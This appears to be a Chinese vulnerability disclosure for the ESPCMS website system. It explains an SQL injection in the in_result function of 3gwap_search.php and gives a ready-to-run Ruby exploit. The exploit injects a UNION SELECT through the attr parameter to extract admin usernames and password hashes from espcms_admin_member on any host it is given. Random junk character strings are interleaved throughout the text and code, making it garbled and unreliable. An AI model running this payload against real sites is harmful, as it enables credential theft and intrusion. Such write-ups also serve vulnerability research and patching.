0×0 漏洞概述0×1 漏洞细节
6 U3 x, r# q! T/ o" }0×2 PoC- B; v* I+ y/ m0 \! r1 P
4 |6 V; W# x% X, n' N+ [( f3 w7 l9 N4 c, s: Z( \: Y
! h' v1 m$ f7 w4 o
0×0 漏洞概述' @. ?! ^: M" t9 @$ e, a
$ B: J) |/ U7 l5 C+ q) J易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
* I7 B3 j- }$ O% S其在处理传入的参数时考虑不严谨导致SQL注入发生' n7 c: J* |$ ] M$ |- O. j
3 s- y6 `. S2 q) X: a. B
; S, b( j* s' A) ]4 l
0×1 漏洞细节. ~# y7 I/ h7 y, S+ K4 m( ~
+ _' M$ w2 R( `: H1 k+ g" l
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
) s5 N& j1 R# ^4 i正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。5 L8 \/ U: ]6 B# \, x: u
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
7 D& |* w E4 j* M* |" b7 G3 C
- }- |+ S$ T. P1 _% x5 `/ \9 R8 ^在/interface/3gwap_search.php文件的in_result函数中:6 }2 B7 C! L) X# Q7 ?' Y3 X
- k0 W$ o4 O' C1 }4 A# J0 I9 b8 e! O/ N
* }7 m* ^( S+ U# [) m function in_result() {9 m. }. L- ]- S3 n( p3 C( w
... ... ... ... ... ... ... ... .... @& O$ n7 l# [: X8 K
$urlcode = $_SERVER[ 'QUERY_STRING '];4 ~& H+ u. B; `2 t6 W: E: Q
parse_str(html_entity_decode($urlcode), $output);
0 m* }; T0 t3 T& v- `! n/ p3 G/ w6 f) Q5 ]+ V
... ... ... ... ... ... ... ... ...; K, _0 Z( F/ H" K. _5 q) _
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
8 c# j8 L* V" C" w* x: R% v6 x" C% N) Q0 n8 U7 o2 ]9 o
$db_table = db_prefix . 'model_att';2 X' C2 o5 d9 e: f T3 M
3 x9 m" L+ Z. k* i8 w; m% e5 X foreach ($output['attr' ] as $key => $value) {& y/ y, J4 A0 X1 H
if ($value) {2 w- ^$ S7 R/ @0 A% B
- v2 p, R: x9 r, L- `
$key = addslashes($key);+ w6 y; N& ]- G+ Z' w; I0 i% I7 D( O
$key = $this-> fun->inputcodetrim($key);
+ g( D, A: Z) S $db_att_where = " WHERE isclass=1 AND attrname='$key'";0 g5 C9 Z n# s5 h# N
$countnum = $this->db_numrows($db_table, $db_att_where);
( O& t2 _0 ^+ e- u/ K if ($countnum > 0) {% Q: W S- x+ T
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
9 ?9 A# ~+ ]$ i9 X- {1 ]" t }
$ ]1 F- N$ Z8 f4 y% ?" F }( `: w3 x5 d. `3 A
}- p/ S6 t9 a( c# R
}) z/ z) e0 @- h" h
if (!empty ($keyword) && empty($keyname)) {
) F- y! X+ Q5 y- E& Y/ z7 J6 O $keyname = 'title';
8 I8 ~4 _5 T# G8 g $db_where.= " AND a.title like '%$keyword%'" ;2 X0 h, ]& d2 j8 f! n
} elseif (!empty ($keyword) && !empty($keyname)) {
/ j$ f' M _3 i2 o $db_where.= " AND $keyname like '% $keyword%'";) E9 v0 `9 o! R. s) p9 o
}1 f, h( _4 t. D u
$pagemax = 15;
5 d5 @9 Q7 [! ?7 o! w7 `
. \) P3 H7 _0 J1 D) } @ $pagesylte = 1;
8 }& S- U9 t& _$ C" k
6 ^% l0 m& g1 W( M, k4 h- [ if ($countnum > 0) {
+ j7 A4 w5 K% d# u/ g% N6 t2 R* K. @
$numpage = ceil($countnum / $pagemax);% D) R: c+ l. I) q0 l2 C
} else {
; g {, q5 d1 B6 B+ ]4 @& \ $numpage = 1;
) E' r, E4 M3 e2 \; C }/ O5 d5 j7 i+ ~! _( p- x9 P. |! W
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;/ i6 o3 ~% _6 F% j
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
$ K$ r3 ^) Y% Y0 x9 r4 ~$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
& N& N0 W5 _+ D4 v# F6 V7 A- ~ ... ... ... ... ... ... ... ... ...0 Y5 B$ R6 \/ Z! w( ~
}
& z! F. Z3 t! X
9 O J( E1 [* Z9 i& z/ J7 v: _! h1 L2 T6 B n
0×2 PoC
. M# I9 N" \& X* \; e- L H
1 i& |/ q* @( L8 r
( D; D$ j0 u9 V7 b& \8 L2 t* W5 `( N1 v# d) y3 B$ u
require "net/http"
7 z, ?1 ?5 e) @ @
m( I6 D/ }& [( F3 C: idef request(method, url)* d. a, N- B2 j: |
if method.eql?("get")- N, g6 K7 f7 W) I
uri = URI.parse(url)
; y% t ], m, e. ~7 t# e5 W9 m t http = Net::HTTP.new(uri.host, uri.port)" e2 g4 u) z Q1 b0 M3 r: R
response = http.request(Net::HTTP::Get.new(uri.request_uri))
3 X: e! i& G- t( b$ W( D return response
9 ~$ C, j4 @! F' p7 K end% l& u) K. o% J3 v0 \
end) F* L( ^) L5 Y% ^# L% U- }1 B& v
2 h& T6 B# D% z+ U ?; m7 ]' s1 `
doc =<<HERE" t: l$ ]8 S* I( h
-------------------------------------------------------) m l" U5 C% g# F+ V& U
Espcms Injection Exploit1 J" c7 q" ]! S3 G; O6 g
Author:ztz+ f) j* ^0 Z X
Blog:http://ztz.fuzzexp.org/+ B1 g* {8 U$ `& P! v( F9 H, {0 x
-------------------------------------------------------
* g, p( y3 J5 B$ o
) Y: s8 N8 G# b5 I" u E/ LHERE
9 }1 B; O+ L) d0 `
; J6 N- r( @5 N% b6 L1 m: e1 @usage =<<HERE+ \3 {' ^' L* ?0 `+ `" |; U
Usage: ruby #{$0} host port path
& t" B# \8 v# s5 |5 }example: ruby #{$0} www.target.com 80 /
0 V U& \: @+ u; bHERE* l6 C2 V7 W" N
. D% J6 w, i$ ?6 S
puts doc
7 ^/ H n" K' ?) @if ARGV.length < 3/ I) D: F2 N+ J3 a
puts usage0 B$ O6 f `! j& p
else
1 P: j/ o: b7 M3 k $host = ARGV[0]
. u x r/ O9 U0 |3 K- `) q $port = ARGV[1] d0 I1 N i6 v
$path = ARGV[2]; G: O ?4 d6 A0 N8 m' |; d
! Y5 y$ V l, V" M4 z1 n0 w
puts "send request..."
. U! }( P: C1 S3 b url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&; n6 ^+ S8 S: ?
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
: t% G' J- Y" w4 l; u- J,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,271 [( }3 A$ V; B' D
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"+ W; P. h4 w& v( Z3 R4 _1 J
response = request("get", url)- g) ?" j3 }2 L( D% e3 Q- G! B% {5 j
result = response.body.scan(/\w+&\w{32}/)9 S& @7 c- A6 }
puts result
* O# I% P8 [5 B/ _' U2 L/ ?9 rend
7 e1 `0 i( X( {% z' j; r2 X$ g
6 D; j8 A; z# } |